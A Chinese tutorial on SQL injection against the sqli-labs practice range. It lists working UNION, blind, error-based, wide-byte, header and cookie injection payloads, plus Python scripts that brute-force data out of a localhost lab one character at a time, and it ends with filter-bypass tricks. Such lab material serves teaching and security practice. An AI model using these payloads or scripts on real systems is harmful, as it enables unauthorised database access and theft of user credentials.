sql注入详解
使用靶场:sql-labs
注入类型
数字型
Less-2
判断方法
id=1
id=2-1
id=1^1^1
可以发现这两种情况的查询结果是相同的,说明是数字型注入。
字符型
Less-1,Less-3~4
判断方法
id=1'
在末尾插入单引号后触发报错,就是字符型注入。
闭合类型
根据报错判断。
单引号闭合
id=1'--%20
单引号和括号闭合
id=1')--%20
双引号和括号闭合
id=1")--%20
注释类型
注释符号有#,%23,--+,--%20等,可以换着试,回显正常就行。
注入方法
联合注入
Less-1
适用条件
页面有回显的情况下优先使用。
查询语句
查显示位
id=-1' union select 1,2,3--%20
查数据库
id=-1' union select 1,database(),3--%20
id=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata--%20
查表名
id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--%20
查列名
id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=table--%20
查数据
id=-1' union select 1,2,group_concat(column) from table--%20
布尔盲注
Less-5~8
适用条件
当存在SQL注入时,攻击者无法通过页面或请求的返回信息、回显获得SQL注入语句的执行结果。可以利用返回执行结果的True或False,来判断注入语句是否执行成功。
常用函数
substr(str,start,len)截取字符串,start表示截取字符串的开始位,len表示截取长度。
ascii()返回字符串的ascii值。
查询语句
查数据库
id=1' and ascii(substr(database(),1,1))>0--%20
查表名
id=1' and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>0--%20
查列名
id=1' and ascii(substr((select group_concat(column_name) from information_schema.columns where table_name=table),1,1))>0--%20
查数据
id=1' and ascii(substr((select group_concat(column) from table),1,1))>0--%20
爆破脚本
用二分法能提高爆破速度
上脚本
#coding=gbk import requests url="http://localhost/sqli-labs-master/Less-5/" database="" flag="You are in..........." for i in range(1,100): min_num=32 max_num=127 mid_num=(min_num+max_num)//2 while(min_num<max_num): payload="id=1' and ascii(substr(database(),{},1))>{}--%20".format(i,mid_num) res=requests.get(url+payload) if flag in res.text: min_num=mid_num+1 else: max_num=mid_num mid_num=(min_num+max_num)//2 if(chr(mid_num)==" "): break database+=chr(mid_num) print(database) table="" for i in range(1,100): min_num=32 max_num=127 mid_num=(min_num+max_num)//2 while(min_num<max_num): payload="?id=1' and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))>{}--%20".format(i,mid_num) res=requests.get(url+payload) if flag in res.text: min_num=mid_num+1 else: max_num=mid_num mid_num=(min_num+max_num)//2 if(chr(mid_num)==" "): break table+=chr(mid_num) print(table) column="" for i in range(1,100): min_num=32 max_num=127 mid_num=(min_num+max_num)//2 while(min_num<max_num): payload="?id=1' and ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='users'),{},1))>{}--%20".format(i,mid_num) res=requests.get(url+payload) if flag in res.text: min_num=mid_num+1 else: max_num=mid_num mid_num=(min_num+max_num)//2 if(chr(mid_num)==" "): break column+=chr(mid_num) print(column) data='' for i in range(1,100): min_num=32 max_num=127 mid_num=(min_num+max_num)//2 while(min_num<max_num): payload="?id=1' and ascii(substr((select group_concat(id,':',username,':',password) from users),{},1))>{}--%20".format(i,mid_num) res=requests.get(url+payload) if flag in res.text: min_num=mid_num+1 else: max_num=mid_num mid_num=(min_num+max_num)//2 if(chr(mid_num)==" "): break data+=chr(mid_num) print(data)
时间盲注
Less-9~10
适用条件
与布尔盲注条件差不多。
常用函数
sleep()函数,设置页面响应时间。
substr(str,start,len)截取字符串,start表示截取字符串的开始位,len表示截取长度。
ascii()返回字符串的ascii值。
查询语句
查数据库
id=1' and if((ascii(substr(database(),1,1))>1),sleep(0.3),1)--%20
查表名
id=1' and if((ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>1),sleep(0.3),1)--%20
查列名
id=1' and if((ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=table),1,1))>1),sleep(0.3),1)--%20
查数据
id=1' and if((ascii(substr((select group_concat(column) from table),1,1))>1),sleep(0.3),1)--%20
爆破脚本
import requests import time url="http://localhost/sqli-labs-master/Less-9/" database="" for i in range(1,100): min_num=32 max_num=127 mid_num=(min_num+max_num)//2 while(min_num<max_num): payload="?id=1' and if((ascii(substr(database(),{},1))>{}),sleep(0.3),1)--%20".format(i,mid_num) start_time=time.time() res=requests.get(url+payload) use_time=time.time()-start_time if use_time>0.3: min_num=mid_num+1 else: max_num=mid_num mid_num=(min_num+max_num)//2 if(chr(mid_num)==" "): break database+=chr(mid_num) print(database) table="" for i in range(1,100): min_num=32 max_num=127 mid_num=(min_num+max_num)//2 while(min_num<max_num): payload="?id=1' and if((ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),{},1))>{}),sleep(0.3),1)--%20".format(i,mid_num) start_time=time.time() res=requests.get(url+payload) use_time=time.time()-start_time if use_time>0.3: min_num=mid_num+1 else: max_num=mid_num mid_num=(min_num+max_num)//2 if(chr(mid_num)==" "): break table+=chr(mid_num) print(table) column="" for i in range(1,100): min_num=32 max_num=127 mid_num=(min_num+max_num)//2 while(min_num<max_num): payload="?id=1' and if((ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),{},1))>{}),sleep(0.3),1)--%20".format(i,mid_num) start_time=time.time() res=requests.get(url+payload) use_time=time.time()-start_time if use_time>0.3: min_num=mid_num+1 else: max_num=mid_num mid_num=(min_num+max_num)//2 if(chr(mid_num)==" "): break column+=chr(mid_num) print(column) data='' for i in range(1,100): min_num=32 max_num=127 mid_num=(min_num+max_num)//2 while(min_num<max_num): payload="?id=1' and if((ascii(substr((select group_concat(id,':',username,':',password) from users),{},1))>{}),sleep(0.3),1)--%20".format(i,mid_num) start_time=time.time() res=requests.get(url+payload) use_time=time.time()-start_time if use_time>0.3: min_num=mid_num+1 else: max_num=mid_num mid_num=(min_num+max_num)//2 if(chr(mid_num)==" "): break data+=chr(mid_num) print(data)
报错注入
Less-17~22
适用条件
报错注入在没法用union联合查询时用,但前提还是不能过滤一些关键的函数。
报错注入就是利用了数据库的某些机制,人为地制造错误条件,使得查询结果能够出现在错误信息中。
常用函数
updatexml()函数,updatexml(xml_document,xpath_string,new_value)。
extractvalue()函数,extractvalue(xml_document,Xpath_string)。
由于updatexml() 函数和extractvalue()的报错内容长度不能超过 32 个字符,可以适用以下函数截取字符串。
mid()函数,mid(column_name,start,length),start起始值是1。
left()函数,left(str,length),从左边返回length长度的字符串。
right()函数,right(str,length),从右边返回length长度的字符串。
查询语句
查数据库
id=1' and updatexml(1,concat(0x7e,database()),1)#
id=1' and extractvalue(1,concat(0x7e,database()))#
查表名
id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),1)#
id=1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))#
查列名
id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=table and table_schema=database())),1)#
id=1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=table and table_schema=database())))#
查数据
id=1' and updatexml(1,concat(0x7e,(select group_concat(column) from table)),1)#
id=1' and extractvalue(1,concat(0x7e,(select group_concat(column) from table)))#
二次注入
Less-24
适用条件
用户向数据库插入恶意语句(即使后端代码对语句进行了转义,如mysql_escape_string、mysql_real_escape_string转义)。
数据库对自己存储的数据非常放心,直接取出恶意数据给用户。
过程
用admin'#注册账号,admin’#会被转义为admin\'#,登录进去后,修改密码时不会对admin'#进行转义,导致修改密码时相当于修改admin的密码。
宽字节注入
Less-32
适用条件
常见的宽字节:GB2312,GBK,GB18030,BIG5等这些都是常见的宽字节,实际为2字节。
如果使用了类似于 set names gbk 这样的语句,既MySQL 在使用 GBK 编码的时候,mysql 数据库就会将 Ascii 大于等于128(%df)的字符当作是汉字字符的一部分(当作汉字处理),同时会认为两个字节为一个汉字,例如 %aa%5c 就是一个汉字。
这种情况下如果我们想去掉sql语句中的一个字节,那么我们在想去的字节前加上一个Ascii 大于等于128(%df)的字节就行了。自己加的字节和想去掉的那个字节会被合起来解析成为汉字。
查询语句
查数据库
id=1%df' union select 1,2,database()--+
查表名
id=1%df' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+
查列名
id=1%df' union select 1,2,group_concat(column_name) from information_schema.columns where table_name=table--+
查数据
id=1%df' union select 1,2,group_concat(column) from table--+
quine注入
适用条件
输入输出一致
查询语句
select replace(replace('replace(replace(".",char(34),char(39)),char(46),".")',char(34),char(39)),char(46),'replace(replace(".",char(34),char(39)),char(46),".")')
1' union select replace(replace('1" union select replace(replace(".",char(34),char(39)),char(46),".")#',char(34),char(39)),char(46),'1" union select replace(replace(".",char(34),char(39)),char(46),".")#')#
注入点
user-agent注入
Less-18
适用条件
php源码查询语句
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
说明要插入user-agent、IP和uname到uagents表中的三个列中,所以存在sql注入,可以使用报错注入。
查询语句
查数据库
查表名
1',updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),1),3)#
查列名
1',updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=table)),1),3)#
查数据
1',updatexml(1,concat(0x7e,(select group_concat(column) from table)),1),3)#
referer注入
适用条件
Less-19
php源码查询语句
$insert="INSERT INTO `security`.`referers` (`referer`, `ip_address`) VALUES ('$uagent', '$IP')";
说明要插入feferer和IP到referer表的两个列中,存在sql注入,使用报错注入。
查询语句
查数据库
1',updatexml(1,concat(0x7e,database()),1))#
查表名
1',updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),1))#
查列名
1',updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=table)),1))#
查数据
1',updatexml(1,concat(0x7e,(select group_concat(column) from table)),1))#
cookie注入
适用条件
Less-20
php源码查询语句
$cookee = $_COOKIE['uname']; $sql="SELECT * FROM users WHERE username='$cookee' LIMIT 0,1";
说明为cookie注入。
查询语句
查数据库
uname=-1' union select 1,database(),3#
查表名
uname=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()#
查列名
uname=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name=table#
查数据
uname=-1' union select 1,group_concat(column),3 from table#
过滤绕过
注释过滤绕过
Less-23
有对--%20,--+,#,%23等注释符号的过滤,可以用
id=1' or '1'='1
id=1' or '1
id=1' or '0
绕过过滤。
特定字符过滤绕过
Less-25
and、or绕过
双写绕过。
大小写绕过。
&&,||绕过。
特定单词绕过
双写绕过。
大小写绕过。
空格绕过
Less-26
/**/绕过。
()绕过。
%0a绕过。
特殊字符转义绕过
转移函数addslashes(),mysql_real_escape_string(),会对特殊字符进行转义。
在进行查列名操作时可以对表名进行十六进制转换绕过转义。

浙公网安备 33010602011771号